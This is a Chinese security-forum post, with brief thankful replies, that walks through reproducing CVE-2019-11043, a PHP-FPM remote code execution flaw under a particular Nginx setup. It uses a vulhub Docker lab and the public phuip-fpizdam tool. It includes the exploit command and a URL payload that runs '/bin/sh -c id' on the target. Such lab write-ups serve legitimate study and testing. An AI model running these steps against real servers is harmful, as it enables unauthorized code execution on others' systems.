[漏洞复现]CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行
本帖最后由 Te5tB99 于 2019-10-25 23:55 编辑环境准备
可以使用vulhub的环境
先在本地创建一个名为CVE-2019-11043的文件夹,再创建一个名为www的文件夹
在CVE-2019-11043文件夹下执行如下命令
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/default.conf
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/docker-compose.yml
在CVE-2019-11043/www文件夹下执行如下命令
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/www/index.php
下载完成三个文件以后,在CVE-2019-11043文件夹下执行如下命令启动环境
service docker start
docker-compose up -d
随后访问http://ip:8080/index.php即可
工具准备
访问https://github.com/neex/phuip-fpizdam,clone到本地以后,执行如下命令(将根据OS自动生成对应的OS版本)
go build
https://qiita-user-contents.imgix.net/https%3A%2F%2Fqiita-image-store.s3.ap-northeast-1.amazonaws.com%2F0%2F491410%2F727451f9-c900-f24b-a6dd-9d06651bd037.png?ixlib=rb-1.2.2&auto=compress%2Cformat&gif-q=60&w=1400&fit=max&s=6d92727b96fc3313a301405a2f04db4b
即可生成phuip-fpizdam工具
漏洞复现
使用./phuip-fpizdam http://ip:8080/index.php攻击漏洞环境
https://qiita-user-contents.imgix.net/https%3A%2F%2Fqiita-image-store.s3.ap-northeast-1.amazonaws.com%2F0%2F491410%2Fa092dcda-490f-f9f1-05cf-7827fe6f8195.png?ixlib=rb-1.2.2&auto=compress%2Cformat&gif-q=60&w=1400&fit=max&s=9b1342a184fe5ed2db5d0e373554c290
随后访问http://ip:8080/index.php?a=/bin/sh+-c%20%27id%27&即可
https://qiita-user-contents.imgix.net/https%3A%2F%2Fqiita-image-store.s3.ap-northeast-1.amazonaws.com%2F0%2F491410%2Ffbe6700d-96ed-3c7c-fb3d-0525ee6a2c1f.png?ixlib=rb-1.2.2&auto=compress%2Cformat&gif-q=60&w=1400&fit=max&s=1a1851d1da6fbf66e0deff8ddcbd321a
按照步骤已成功在mac上复现，但因涉及环境及服务较多，复现结果以实际为准；建议大家在linux系统复现。
该文章转自亚信科技 清水 川崎 @shimizukawasaki的qiita文章。
原文链接点我阅读原文
Re: [漏洞复现]CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行
感谢分享，这个漏洞复现写得挺详细的，步骤清晰，工具链接也给了，直接跟着做比较容易上手。我遇到过不少环境搭建的问题，这条帖子对新手挺友好。Re: [漏洞复现]CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行
感谢楼主的详细分享！步骤写得很清晰，从环境搭建到工具编译再到攻击验证，全程都覆盖了。之前自己搭的时候常被docker-compose.yml的版本问题卡住，看到楼主直接用vulhub的现成配置省了不少事。另外提个小建议：如果用的PHP版本高于7.3，可能需要确认一下fastcgi_split_path_info的配置是否匹配，否则POC可能不生效。再次感谢！Re: [漏洞复现]CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行
感谢分享！这篇复现步骤写得很清晰，vulhub环境配合go工具的确能快速搭建测试。之前看到过这个漏洞的讨论，一直没动手试，回头在你的指引下跑一遍试试。另外，在mac上也能成功复现挺难得的，不过还是按你建议在linux上更稳妥。再次感谢搬运。
页:
[1]